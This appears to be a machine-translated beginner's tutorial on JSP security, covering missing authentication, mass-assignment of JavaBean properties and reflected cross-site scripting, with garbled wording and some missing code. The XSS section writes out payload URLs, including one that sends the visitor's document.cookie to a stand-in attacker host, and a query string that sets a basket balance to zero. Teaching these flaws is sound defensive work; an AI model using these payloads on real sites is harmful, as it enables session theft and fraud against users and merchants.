Analysis of JSP secure programming example (1)

Java Server Page (JSP) is becoming increasingly popular as a technology for creating dynamic web pages. JSP is not the same as ASP, PHP, and working mechanism. Generally, JSP pages are compiled rather than interpreted during execution. Calling the JSP file for the first time is actually a process of compiling servlet. When the browser requests this JSP file from the server, the server will check whether the JSP file has changed since the previous compilation. If the JSP file has not changed, the server will directly execute the servlet without re-compiling, in this way, the efficiency is significantly improved.

Today, I will work with you to look at JSP security from the perspective of Script Programming. security risks such as source code exposure are not covered in this article. The main purpose of this article is to remind beginners of JSP programming. From the very beginning, we should cultivate the awareness of security programming and avoid mistakes that should not be made to avoid possible losses. I am also a beginner. If you have any mistakes or other comments, please kindly advise me.

1. LAX Authentication-low-level mistakes

User_manager.jsp is a user-managed page in the revision v1.12 of the Forum. The author knows its sensitivity and adds a lock:

If (session. getvalue ("username") = NULL) │ (session. getvalue ("userclass") = NULL) │ (! Session. getvalue ("userclass"). Equals ("System Administrator") {response. sendredirect ("Err. jsp? Id = 14 "); return ;}
 

To view and modify the information of a user, use the modifyuser_manager.jsp file. Submitted by Administrator

Is to view and modify the information of the user whose ID is 51 (the Administrator's Default User ID is 51 ). However, such an important file lacks authentication, and common users (including tourists) can also submit the above request directly at a Glance (the password is also stored and displayed in plaintext ). Modifyuser_manage.jsp is also a portal wide-open page. It will not be visible until a malicious user completes the data update operation and redirects it to user_manager.jsp. Obviously, it is far from enough to lock only one door. During programming, you must add authentication to each place that requires identity authentication.

2. Keep the ingress of JavaBean

The core of JSP component technology is Bean Java components. In a program, logical control and database operations can be placed in the JavaBeans component, and then called in the JSP file. This increases the definition of the program and the reusability of the program. Compared with the traditional ASP or PHP pages, JSP pages are very simple, because many dynamic page processing processes can be encapsulated into javajan.

To change the JavaBean attribute, use the "" tag. The following code is part of the source code of a hypothetical e-shopping system. This file is used to display information in the user's shopping box, while checkout. jsp is used for checkout.

You have added the item to your basket. Your total is $ proceed to checkout
 

Have you noticed property =? This indicates that the values of all the variables entered on the visible JSP page or submitted directly through the query string are stored in the matching bean attribute.

Generally, the user submits the request like this: http://www.somesite.com/addtobasket. jsp? Newitem = item0105342 but not regular users? They may submit: http://www.somesite.com/addtobasket. jsp? Newitem = item0105342 & balance = 0

In this way, the balance = 0 information is stored in the JavaBean. When they click "chekout" to settle the bill, the fee is free.

This is similar to the security problems caused by global variables in PHP. It can be seen that "property =" * "must be used with caution!

Iii. Ever-increasing Cross-Site Scripting

Cross-site scripting (XSS) attacks refer to manual insertion of malicious JavaScript, VBScript, ActiveX, HTML, or Flash scripts in the HTML code of remote web pages, steal the privacy of users browsing this page, change user settings, and corrupt user data. In most cases, XSS attacks do not affect the running of servers and web programs, but they pose a serious threat to the security of clients.

Here is a simple example of a Suwon Forum (beta-1. When we submit http://www.somesite.com/acjspbbs/dispuser.jsp? Name = someuser <; SCRIPT> alert (document. Cookie) dialog box containing your own cookie information is displayed. While submitting http://www.somesite.com/acjspbbs/dispuser.jsp? Name = someuser <; SCRIPT> document. Location = 'HTTP: // www.163.com 'can be redirected to Netease.

When the value of the "name" variable is returned to the client, the script does not encode or filter malicious code. When a user accesses a link embedded with the malicious "name" variable, this will cause the script code to be executed on the user's browser, and may cause user privacy leaks and other consequences. For example, the following link:
Http://www.somesite.com/acjspbbs/dispuser.jsp? Name = someuser <; SCRIPT> document. Location = 'http://www.hackersite.com/xxx.xxx? '+ Document. Cookie

XXX. XXX is used to collect the following parameters. Here, the parameter specifies document. Cookie, that is, the user's cookie accessing this link. In the ASP world, many people have perfected Cookie Stealing technology. Reading cookies in JSP is not difficult. Of course, cross-site scripting is never limited to the Cookie Stealing function. I believe everyone will understand it and I will not start it here.

The input and output of all dynamic pages should be encoded to avoid cross-site scripting attacks to a large extent. Unfortunately, all untrusted data encoding is resource-intensive and may affect the performance of web servers. The common method is to filter input data. For example, the following code replaces dangerous characters:

 

A more positive way is to use a regular expression to only allow the input of specified characters:

Public Boolean isvalidinput (string Str) {If (Str. Matches ("[a-z0-9] +") return true; else return false ;}